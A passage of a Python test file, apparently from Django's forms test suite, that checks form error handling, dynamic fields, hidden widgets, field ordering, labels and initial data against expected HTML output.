<li>Username: <input type="text" name="username" value="adrian" maxlength="10" required /></li>
<li>Password1: <input type="password" name="password1" required /></li>
<li>Password2: <input type="password" name="password2" required /></li>"""
        )

        f = UserRegistration({'username': 'adrian', 'password1': 'foo', 'password2': 'foo'}, auto_id=False)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['username'], 'adrian')
        self.assertEqual(f.cleaned_data['password1'], 'foo')
        self.assertEqual(f.cleaned_data['password2'], 'foo')

        f = UserRegistration({
            'username': 'adrian',
            'password1': 'FORBIDDEN_VALUE',
            'password2': 'FORBIDDEN_VALUE',
        }, auto_id=False)
        self.assertEqual(f.errors['password1'], ['Forbidden value.'])
        self.assertEqual(f.errors['password2'], ['Forbidden value.'])

        f = UserRegistration({
            'username': 'adrian',
            'password1': 'FORBIDDEN_VALUE2',
            'password2': 'FORBIDDEN_VALUE2',
        }, auto_id=False)
        self.assertEqual(f.errors['__all__'], ['Non-field error 1.', 'Non-field error 2.'])
        self.assertEqual(f.errors['password1'], ['Forbidden value 2.'])
        self.assertEqual(f.errors['password2'], ['Forbidden value 2.'])

        with six.assertRaisesRegex(self, ValueError, "has no field named"):
            f.add_error('missing_field', 'Some error.')

    def test_update_error_dict(self):
        class CodeForm(Form):
            code = CharField(max_length=10)

            def clean(self):
                try:
                    raise ValidationError({'code': [ValidationError('Code error 1.')]})
                except ValidationError as e:
                    self._errors = e.update_error_dict(self._errors)

                try:
                    raise ValidationError({'code': [ValidationError('Code error 2.')]})
                except ValidationError as e:
                    self._errors = e.update_error_dict(self._errors)

                try:
                    raise ValidationError({'code': forms.ErrorList(['Code error 3.'])})
                except ValidationError as e:
                    self._errors = e.update_error_dict(self._errors)

                try:
                    raise ValidationError('Non-field error 1.')
                except ValidationError as e:
                    self._errors = e.update_error_dict(self._errors)

                try:
                    raise ValidationError([ValidationError('Non-field error 2.')])
                except ValidationError as e:
                    self._errors = e.update_error_dict(self._errors)

                # Ensure that the newly added list of errors is an instance of ErrorList.
                for field, error_list in self._errors.items():
                    if not isinstance(error_list, self.error_class):
                        self._errors[field] = self.error_class(error_list)

        form = CodeForm({'code': 'hello'})
        # Trigger validation.
        self.assertFalse(form.is_valid())

        # Check that update_error_dict didn't lose track of the ErrorDict type.
        self.assertIsInstance(form._errors, forms.ErrorDict)

        self.assertEqual(dict(form.errors), {
            'code': ['Code error 1.', 'Code error 2.', 'Code error 3.'],
            NON_FIELD_ERRORS: ['Non-field error 1.', 'Non-field error 2.'],
        })

    def test_has_error(self):
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password1 = CharField(widget=PasswordInput, min_length=5)
            password2 = CharField(widget=PasswordInput)

            def clean(self):
                if (self.cleaned_data.get('password1') and self.cleaned_data.get('password2') and
                        self.cleaned_data['password1'] != self.cleaned_data['password2']):
                    raise ValidationError(
                        'Please make sure your passwords match.',
                        code='password_mismatch',
                    )

        f = UserRegistration(data={})
        self.assertTrue(f.has_error('password1'))
        self.assertTrue(f.has_error('password1', 'required'))
        self.assertFalse(f.has_error('password1', 'anything'))

        f = UserRegistration(data={'password1': 'Hi', 'password2': 'Hi'})
        self.assertTrue(f.has_error('password1'))
        self.assertTrue(f.has_error('password1', 'min_length'))
        self.assertFalse(f.has_error('password1', 'anything'))
        self.assertFalse(f.has_error('password2'))
        self.assertFalse(f.has_error('password2', 'anything'))

        f = UserRegistration(data={'password1': 'Bonjour', 'password2': 'Hello'})
        self.assertFalse(f.has_error('password1'))
        self.assertFalse(f.has_error('password1', 'required'))
        self.assertTrue(f.has_error(NON_FIELD_ERRORS))
        self.assertTrue(f.has_error(NON_FIELD_ERRORS, 'password_mismatch'))
        self.assertFalse(f.has_error(NON_FIELD_ERRORS, 'anything'))

    def test_dynamic_construction(self):
        # It's possible to construct a Form dynamically by adding to the self.fields
        # dictionary in __init__(). Don't forget to call Form.__init__() within the
        # subclass' __init__().
        class Person(Form):
            first_name = CharField()
            last_name = CharField()

            def __init__(self, *args, **kwargs):
                super(Person, self).__init__(*args, **kwargs)
                self.fields['birthday'] = DateField()

        p = Person(auto_id=False)
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th>First name:</th><td><input type="text" name="first_name" required /></td></tr>
<tr><th>Last name:</th><td><input type="text" name="last_name" required /></td></tr>
<tr><th>Birthday:</th><td><input type="text" name="birthday" required /></td></tr>"""
        )

        # Instances of a dynamic Form do not persist fields from one Form instance to
        # the next.
        class MyForm(Form):
            def __init__(self, data=None, auto_id=False, field_list=[]):
                Form.__init__(self, data, auto_id=auto_id)

                for field in field_list:
                    self.fields[field[0]] = field[1]

        field_list = [('field1', CharField()), ('field2', CharField())]
        my_form = MyForm(field_list=field_list)
        self.assertHTMLEqual(
            my_form.as_table(),
            """<tr><th>Field1:</th><td><input type="text" name="field1" required /></td></tr>
<tr><th>Field2:</th><td><input type="text" name="field2" required /></td></tr>"""
        )
        field_list = [('field3', CharField()), ('field4', CharField())]
        my_form = MyForm(field_list=field_list)
        self.assertHTMLEqual(
            my_form.as_table(),
            """<tr><th>Field3:</th><td><input type="text" name="field3" required /></td></tr>
<tr><th>Field4:</th><td><input type="text" name="field4" required /></td></tr>"""
        )

        class MyForm(Form):
            default_field_1 = CharField()
            default_field_2 = CharField()

            def __init__(self, data=None, auto_id=False, field_list=[]):
                Form.__init__(self, data, auto_id=auto_id)

                for field in field_list:
                    self.fields[field[0]] = field[1]

        field_list = [('field1', CharField()), ('field2', CharField())]
        my_form = MyForm(field_list=field_list)
        self.assertHTMLEqual(
            my_form.as_table(),
            """<tr><th>Default field 1:</th><td><input type="text" name="default_field_1" required /></td></tr>
<tr><th>Default field 2:</th><td><input type="text" name="default_field_2" required /></td></tr>
<tr><th>Field1:</th><td><input type="text" name="field1" required /></td></tr>
<tr><th>Field2:</th><td><input type="text" name="field2" required /></td></tr>"""
        )
        field_list = [('field3', CharField()), ('field4', CharField())]
        my_form = MyForm(field_list=field_list)
        self.assertHTMLEqual(
            my_form.as_table(),
            """<tr><th>Default field 1:</th><td><input type="text" name="default_field_1" required /></td></tr>
<tr><th>Default field 2:</th><td><input type="text" name="default_field_2" required /></td></tr>
<tr><th>Field3:</th><td><input type="text" name="field3" required /></td></tr>
<tr><th>Field4:</th><td><input type="text" name="field4" required /></td></tr>"""
        )

        # Similarly, changes to field attributes do not persist from one Form instance
        # to the next.
        class Person(Form):
            first_name = CharField(required=False)
            last_name = CharField(required=False)

            def __init__(self, names_required=False, *args, **kwargs):
                super(Person, self).__init__(*args, **kwargs)

                if names_required:
                    self.fields['first_name'].required = True
                    self.fields['first_name'].widget.attrs['class'] = 'required'
                    self.fields['last_name'].required = True
                    self.fields['last_name'].widget.attrs['class'] = 'required'

        f = Person(names_required=False)
        self.assertEqual(f['first_name'].field.required, f['last_name'].field.required, (False, False))
        self.assertEqual(f['first_name'].field.widget.attrs, f['last_name'].field.widget.attrs, ({}, {}))
        f = Person(names_required=True)
        self.assertEqual(f['first_name'].field.required, f['last_name'].field.required, (True, True))
        self.assertEqual(
            f['first_name'].field.widget.attrs,
            f['last_name'].field.widget.attrs,
            ({'class': 'reuired'}, {'class': 'required'})
        )
        f = Person(names_required=False)
        self.assertEqual(f['first_name'].field.required, f['last_name'].field.required, (False, False))
        self.assertEqual(f['first_name'].field.widget.attrs, f['last_name'].field.widget.attrs, ({}, {}))

        class Person(Form):
            first_name = CharField(max_length=30)
            last_name = CharField(max_length=30)

            def __init__(self, name_max_length=None, *args, **kwargs):
                super(Person, self).__init__(*args, **kwargs)

                if name_max_length:
                    self.fields['first_name'].max_length = name_max_length
                    self.fields['last_name'].max_length = name_max_length

        f = Person(name_max_length=None)
        self.assertEqual(f['first_name'].field.max_length, f['last_name'].field.max_length, (30, 30))
        f = Person(name_max_length=20)
        self.assertEqual(f['first_name'].field.max_length, f['last_name'].field.max_length, (20, 20))
        f = Person(name_max_length=None)
        self.assertEqual(f['first_name'].field.max_length, f['last_name'].field.max_length, (30, 30))

        # Similarly, choices do not persist from one Form instance to the next.
        # Refs #15127.
        class Person(Form):
            first_name = CharField(required=False)
            last_name = CharField(required=False)
            gender = ChoiceField(choices=(('f', 'Female'), ('m', 'Male')))

            def __init__(self, allow_unspec_gender=False, *args, **kwargs):
                super(Person, self).__init__(*args, **kwargs)

                if allow_unspec_gender:
                    self.fields['gender'].choices += (('u', 'Unspecified'),)

        f = Person()
        self.assertEqual(f['gender'].field.choices, [('f', 'Female'), ('m', 'Male')])
        f = Person(allow_unspec_gender=True)
        self.assertEqual(f['gender'].field.choices, [('f', 'Female'), ('m', 'Male'), ('u', 'Unspecified')])
        f = Person()
        self.assertEqual(f['gender'].field.choices, [('f', 'Female'), ('m', 'Male')])

    def test_validators_independence(self):
        """ Test that we are able to modify a form field validators list without polluting
            other forms """
        from django.core.validators import MaxValueValidator

        class MyForm(Form):
            myfield = CharField(max_length=25)

        f1 = MyForm()
        f2 = MyForm()

        f1.fields['myfield'].validators[0] = MaxValueValidator(12)
        self.assertNotEqual(f1.fields['myfield'].validators[0], f2.fields['myfield'].validators[0])

    def test_hidden_widget(self):
        # HiddenInput widgets are displayed differently in the as_table(), as_ul())
        # and as_p() output of a Form -- their verbose names are not displayed, and a
        # separate row is not displayed. They're displayed in the last row of the
        # form, directly after that row's form element.
        class Person(Form):
            first_name = CharField()
            last_name = CharField()
            hidden_text = CharField(widget=HiddenInput)
            birthday = DateField()

        p = Person(auto_id=False)
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th>First name:</th><td><input type="text" name="first_name" required /></td></tr>
<tr><th>Last name:</th><td><input type="text" name="last_name" required /></td></tr>
<tr><th>Birthday:</th>
<td><input type="text" name="birthday" required /><input type="hidden" name="hidden_text" /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>First name: <input type="text" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /><input type="hidden" name="hidden_text" /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(), """<p>First name: <input type="text" name="first_name" required /></p>
<p>Last name: <input type="text" name="last_name" required /></p>
<p>Birthday: <input type="text" name="birthday" required /><input type="hidden" name="hidden_text" /></p>"""
        )

        # With auto_id set, a HiddenInput still gets an ID, but it doesn't get a label.
        p = Person(auto_id='id_%s')
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<input type="text" name="first_name" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th><td>
<input type="text" name="last_name" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th><td>
<input type="text" name="birthday" id="id_birthday" required />
<input type="hidden" name="hidden_text" id="id_hidden_text" /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></li>
<li><label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></li>
<li><label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required />
<input type="hidden" name="hidden_text" id="id_hidden_text" /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<p><label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></p>
<p><label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></p>
<p><label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required />
<input type="hidden" name="hidden_text" id="id_hidden_text" /></p>"""
        )

        # If a field with a HiddenInput has errors, the as_table() and as_ul() output
        # will include the error message(s) with the text "(Hidden field [fieldname]) "
        # prepended. This message is displayed at the top of the output, regardless of
        # its field's order in the form.
        p = Person({'first_name': 'John', 'last_name': 'Lennon', 'birthday': '1940-10-9'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><td colspan="2">
<ul class="errorlist nonfield"><li>(Hidden field hidden_text) This field is required.</li></ul></td></tr>
<tr><th>First name:</th><td><input type="text" name="first_name" value="John" required /></td></tr>
<tr><th>Last name:</th><td><input type="text" name="last_name" value="Lennon" required /></td></tr>
<tr><th>Birthday:</th><td><input type="text" name="birthday" value="1940-10-9" required />
<input type="hidden" name="hidden_text" /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist nonfield"><li>(Hidden field hidden_text) This field is required.</li></ul></li>
<li>First name: <input type="text" name="first_name" value="John" required /></li>
<li>Last name: <input type="text" name="last_name" value="Lennon" required /></li>
<li>Birthday: <input type="text" name="birthday" value="1940-10-9" required />
<input type="hidden" name="hidden_text" /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<ul class="errorlist nonfield"><li>(Hidden field hidden_text) This field is required.</li></ul>
<p>First name: <input type="text" name="first_name" value="John" required /></p>
<p>Last name: <input type="text" name="last_name" value="Lennon" required /></p>
<p>Birthday: <input type="text" name="birthday" value="1940-10-9" required />
<input type="hidden" name="hidden_text" /></p>"""
        )

        # A corner case: It's possible for a form to have only HiddenInputs.
        class TestForm(Form):
            foo = CharField(widget=HiddenInput)
            bar = CharField(widget=HiddenInput)

        p = TestForm(auto_id=False)
        self.assertHTMLEqual(p.as_table(), '<input type="hidden" name="foo" /><input type="hidden" name="bar" />')
        self.assertHTMLEqual(p.as_ul(), '<input type="hidden" name="foo" /><input type="hidden" name="bar" />')
        self.assertHTMLEqual(p.as_p(), '<input type="hidden" name="foo" /><input type="hidden" name="bar" />')

    def test_field_order(self):
        # A Form's fields are displayed in the same order in which they were defined.
        class TestForm(Form):
            field1 = CharField()
            field2 = CharField()
            field3 = CharField()
            field4 = CharField()
            field5 = CharField()
            field6 = CharField()
            field7 = CharField()
            field8 = CharField()
            field9 = CharField()
            field10 = CharField()
            field11 = CharField()
            field12 = CharField()
            field13 = CharField()
            field14 = CharField()

        p = TestForm(auto_id=False)
        self.assertHTMLEqual(p.as_table(), """<tr><th>Field1:</th><td><input type="text" name="field1" required /></td></tr>
<tr><th>Field2:</th><td><input type="text" name="field2" required /></td></tr>
<tr><th>Field3:</th><td><input type="text" name="field3" required /></td></tr>
<tr><th>Field4:</th><td><input type="text" name="field4" required /></td></tr>
<tr><th>Field5:</th><td><input type="text" name="field5" required /></td></tr>
<tr><th>Field6:</th><td><input type="text" name="field6" required /></td></tr>
<tr><th>Field7:</th><td><input type="text" name="field7" required /></td></tr>
<tr><th>Field8:</th><td><input type="text" name="field8" required /></td></tr>
<tr><th>Field9:</th><td><input type="text" name="field9" required /></td></tr>
<tr><th>Field10:</th><td><input type="text" name="field10" required /></td></tr>
<tr><th>Field11:</th><td><input type="text" name="field11" required /></td></tr>
<tr><th>Field12:</th><td><input type="text" name="field12" required /></td></tr>
<tr><th>Field13:</th><td><input type="text" name="field13" required /></td></tr>
<tr><th>Field14:</th><td><input type="text" name="field14" required /></td></tr>""")

    def test_explicit_field_order(self):
        class TestFormParent(Form):
            field1 = CharField()
            field2 = CharField()
            field4 = CharField()
            field5 = CharField()
            field6 = CharField()
            field_order = ['field6', 'field5', 'field4', 'field2', 'field1']

        class TestForm(TestFormParent):
            field3 = CharField()
            field_order = ['field2', 'field4', 'field3', 'field5', 'field6']

        class TestFormRemove(TestForm):
            field1 = None

        class TestFormMissing(TestForm):
            field_order = ['field2', 'field4', 'field3', 'field5', 'field6', 'field1']
            field1 = None

        class TestFormInit(TestFormParent):
            field3 = CharField()
            field_order = None

            def __init__(self, **kwargs):
                super(TestFormInit, self).__init__(**kwargs)
                self.order_fields(field_order=TestForm.field_order)

        p = TestFormParent()
        self.assertEqual(list(p.fields.keys()), TestFormParent.field_order)
        p = TestFormRemove()
        self.assertEqual(list(p.fields.keys()), TestForm.field_order)
        p = TestFormMissing()
        self.assertEqual(list(p.fields.keys()), TestForm.field_order)
        p = TestForm()
        self.assertEqual(list(p.fields.keys()), TestFormMissing.field_order)
        p = TestFormInit()
        order = list(TestForm.field_order) + ['field1']
        self.assertEqual(list(p.fields.keys()), order)
        TestForm.field_order = ['unknown']
        p = TestForm()
        self.assertEqual(list(p.fields.keys()), ['field1', 'field2', 'field4', 'field5', 'field6', 'field3'])

    def test_form_html_attributes(self):
        # Some Field classes have an effect on the HTML attributes of their associated
        # Widget. If you set max_length in a CharField and its associated widget is
        # either a TextInput or PasswordInput, then the widget's rendered HTML will
        # include the "maxlength" attribute.
        class UserRegistration(Form):
            username = CharField(max_length=10)                   # uses TextInput by default
            password = CharField(max_length=10, widget=PasswordInput)
            realname = CharField(max_length=10, widget=TextInput)  # redundantly define widget, just to test
            address = CharField()                                 # no max_length defined here

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" maxlength="10" required /></li>
<li>Realname: <input type="text" name="realname" maxlength="10" required /></li>
<li>Address: <input type="text" name="address" required /></li>"""
        )

        # If you specify a custom "attrs" that includes the "maxlength" attribute,
        # the Field's max_length attribute will override whatever "maxlength" you specify
        # in "attrs".
        class UserRegistration(Form):
            username = CharField(max_length=10, widget=TextInput(attrs={'maxlength': 20}))
            password = CharField(max_length=10, widget=PasswordInput)

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" maxlength="10" required /></li>"""
        )

    def test_specifying_labels(self):
        # You can specify the label for a field by using the 'label' argument to a Field
        # class. If you don't specify 'label', Django will use the field name with
        # underscores converted to spaces, and the initial letter capitalized.
        class UserRegistration(Form):
            username = CharField(max_length=10, label='Your username')
            password1 = CharField(widget=PasswordInput)
            password2 = CharField(widget=PasswordInput, label='Contraseña (de nuevo)')

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Your username: <input type="text" name="username" maxlength="10" required /></li>
<li>Password1: <input type="password" name="password1" required /></li>
<li>Contraseña (de nuevo): <input type="password" name="password2" required /></li>"""
        )

        # Labels for as_* methods will only end in a colon if they don't end in other
        # punctuation already.
        class Questions(Form):
            q1 = CharField(label='The first question')
            q2 = CharField(label='What is your name?')
            q3 = CharField(label='The answer to life is:')
            q4 = CharField(label='Answer this question!')
            q5 = CharField(label='The last question. Period.')

        self.assertHTMLEqual(
            Questions(auto_id=False).as_p(),
            """<p>The first question: <input type="text" name="q1" required /></p>
<p>What is your name? <input type="text" name="q2" required /></p>
<p>The answer to life is: <input type="text" name="q3" required /></p>
<p>Answer this question! <input type="text" name="q4" required /></p>
<p>The last question. Period. <input type="text" name="q5" required /></p>"""
        )
        self.assertHTMLEqual(
            Questions().as_p(),
            """<p><label for="id_q1">The first question:</label> <input type="text" name="q1" id="id_q1" required /></p>
<p><label for="id_q2">What is your name?</label> <input type="text" name="q2" id="id_q2" required /></p>
<p><label for="id_q3">The answer to life is:</label> <input type="text" name="q3" id="id_q3" required /></p>
<p><label for="id_q4">Answer this question!</label> <input type="text" name="q4" id="id_q4" required /></p>
<p><label for="id_q5">The last question. Period.</label> <input type="text" name="q5" id="id_q5" required /></p>"""
        )

        # If a label is set to the empty string for a field, that field won't get a label.
        class UserRegistration(Form):
            username = CharField(max_length=10, label='')
            password = CharField(widget=PasswordInput)

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(p.as_ul(), """<li> <input type="text" name="username" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>""")
        p = UserRegistration(auto_id='id_%s')
        self.assertHTMLEqual(
            p.as_ul(),
            """<li> <input id="id_username" type="text" name="username" maxlength="10" required /></li>
<li><label for="id_password">Password:</label>
<input type="password" name="password" id="id_password" required /></li>"""
        )

        # If label is None, Django will auto-create the label from the field name. This
        # is default behavior.
        class UserRegistration(Form):
            username = CharField(max_length=10, label=None)
            password = CharField(widget=PasswordInput)

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration(auto_id='id_%s')
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="id_username">Username:</label>
<input id="id_username" type="text" name="username" maxlength="10" required /></li>
<li><label for="id_password">Password:</label>
<input type="password" name="password" id="id_password" required /></li>"""
        )

    def test_label_suffix(self):
        # You can specify the 'label_suffix' argument to a Form class to modify the
        # punctuation symbol used at the end of a label.  By default, the colon (:) is
        # used, and is only appended to the label if the label doesn't already end with a
        # punctuation symbol: ., !, ? or :.  If you specify a different suffix, it will
        # be appended regardless of the last character of the label.
        class FavoriteForm(Form):
            color = CharField(label='Favorite color?')
            animal = CharField(label='Favorite animal')
            answer = CharField(label='Secret answer', label_suffix=' =')

        f = FavoriteForm(auto_id=False)
        self.assertHTMLEqual(f.as_ul(), """<li>Favorite color? <input type="text" name="color" required /></li>
<li>Favorite animal: <input type="text" name="animal" required /></li>
<li>Secret answer = <input type="text" name="answer" required /></li>""")

        f = FavoriteForm(auto_id=False, label_suffix='?')
        self.assertHTMLEqual(f.as_ul(), """<li>Favorite color? <input type="text" name="color" required /></li>
<li>Favorite animal? <input type="text" name="animal" required /></li>
<li>Secret answer = <input type="text" name="answer" required /></li>""")

        f = FavoriteForm(auto_id=False, label_suffix='')
        self.assertHTMLEqual(f.as_ul(), """<li>Favorite color? <input type="text" name="color" required /></li>
<li>Favorite animal <input type="text" name="animal" required /></li>
<li>Secret answer = <input type="text" name="answer" required /></li>""")

        f = FavoriteForm(auto_id=False, label_suffix='\u2192')
        self.assertHTMLEqual(
            f.as_ul(),
            '<li>Favorite color? <input type="text" name="color" required /></li>\n'
            '<li>Favorite animal\u2192 <input type="text" name="animal" required /></li>\n'
            '<li>Secret answer = <input type="text" name="answer" required /></li>'
        )

    def test_initial_data(self):
        # You can specify initial data for a field by using the 'initial' argument to a
        # Field class. This initial data is displayed when a Form is rendered with *no*
        # data. It is not displayed when a Form is rendered with any data (including an
        # empty dictionary). Also, the initial value is *not* used if data for a
        # particular required field isn't provided.
        class UserRegistration(Form):
            username = CharField(max_length=10, initial='django')
            password = CharField(widget=PasswordInput)

        # Here, we're not submitting any data, so the initial value will be displayed.)
        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="django" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>"""
        )

        # Here, we're submitting data, so the initial value will *not* be displayed.
        p = UserRegistration({}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration({'username': ''}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration({'username': 'foo'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="foo" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )

        # An 'initial' value is *not* used as a fallback if data is not provided. In this
        # example, we don't provide a value for 'username', and the form raises a
        # validation error rather than using the initial value for 'username'.
        p = UserRegistration({'password': 'secret'})
        self.assertEqual(p.errors['username'], ['This field is required.'])
        self.assertFalse(p.is_valid())

    def test_dynamic_initial_data(self):
        # The previous technique dealt with "hard-coded" initial data, but it's also
        # possible to specify initial data after you've already created the Form class
        # (i.e., at runtime). Use the 'initial' parameter to the Form constructor. This
        # should be a dictionary containing initial values for one or more fields in the
        # form, keyed by field name.
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)

        # Here, we're not submitting any data, so the initial value will be displayed.)
        p = UserRegistration(initial={'username': 'django'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="django" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration(initial={'username': 'stephane'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="stephane" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>"""
        )

        # The 'initial' parameter is meaningless if you pass data.
        p = UserRegistration({}, initial={'username': 'django'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration({'username': ''}, initial={'username': 'django'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )
        p = UserRegistration({'username': 'foo'}, initial={'username': 'django'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(), """<li>Username: <input type="text" name="username" value="foo" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>"""
        )

        # A dynamic 'initial' value is *not* used as a fallback if data is not provided.
        # In this example, we don't provide a value for 'username', and the form raises a
        # validation error rather than using the initial value for 'username'.
        p = UserRegistration({'password': 'secret'}, initial={'username': 'django'})
        self.assertEqual(p.errors['username'], ['This field is required.'])
        self.assertFalse(p.is_valid())

        # If a Form defines 'initial' *and* 'initial' is passed as a parameter to Form(),
        # then the latter will get precedence.
        class UserRegistration(Form):
            username = CharField(max_length=10, initial='django')
            password = CharField(widget=PasswordInput)

        p = UserRegistration(initial={'username': 'babik'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="babik" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>"""
        )

    def test_callable_initial_data(self):
        # The previous technique dealt with raw values as initial data, but it's also
        # possible to specify callable data.
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)
            options = MultipleChoiceField(choices=[('f', 'foo'), ('b', 'bar'), ('w', 'whiz')])

        # We need to define functions that get called later.)
        def initial_django():
            return 'django'

        def initial_stephane():
            return 'stephane'

        def initial_options():
            return ['f', 'b']

        def initial_other_options():
            return ['b', 'w']

        # Here, we're not submitting any data, so the initial value will be displayed.)
        p = UserRegistration(initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="django" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>
<li>Options: <select multiple="multiple" name="options" required>
<option value="f" selected="selected">foo</option>
<option value="b" selected="selected">bar</option>
<option value="w">whiz</option>
</select></li>"""
        )

        # The 'initial' parameter is meaningless if you pass data.
        p = UserRegistration({}, initial={'username': initial_django, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Options: <select multiple="multiple" name="options" required>
<option value="f">foo</option>
<option value="b">bar</option>
<option value="w">whiz</option>
</select></li>"""
        )
        p = UserRegistration({'username': ''}, initial={'username': initial_django}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
            Username: <input type="text" name="username" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Options: <select multiple="multiple" name="options" required>
<option value="f">foo</option>
<option value="b">bar</option>
<option value="w">whiz</option>
</select></li>"""
        )
        p = UserRegistration(
            {'username': 'foo', 'options': ['f', 'b']}, initial={'username': initial_django}, auto_id=False
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="foo" maxlength="10" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required /></li>
<li>Options: <select multiple="multiple" name="options" required>
<option value="f" selected="selected">foo</option>
<option value="b" selected="selected">bar</option>
<option value="w">whiz</option>
</select></li>"""
        )

        # A callable 'initial' value is *not* used as a fallback if data is not provided.
        # In this example, we don't provide a value for 'username', and the form raises a
        # validation error rather than using the initial value for 'username'.
        p = UserRegistration({'password': 'secret'}, initial={'username': initial_django, 'options': initial_options})
        self.assertEqual(p.errors['username'], ['This field is required.'])
        self.assertFalse(p.is_valid())

        # If a Form defines 'initial' *and* 'initial' is passed as a parameter to Form(),
        # then the latter will get precedence.
        class UserRegistration(Form):
            username = CharField(max_length=10, initial=initial_django)
            password = CharField(widget=PasswordInput)
            options = MultipleChoiceField(
                choices=[('f', 'foo'), ('b', 'bar'), ('w', 'whiz')],
                initial=initial_other_options,
            )

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="django" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>
<li>Options: <select multiple="multiple" name="options" required>
<option value="f">foo</option>
<option value="b" selected="selected">bar</option>
<option value="w" selected="selected">whiz</option>
</select></li>"""
        )
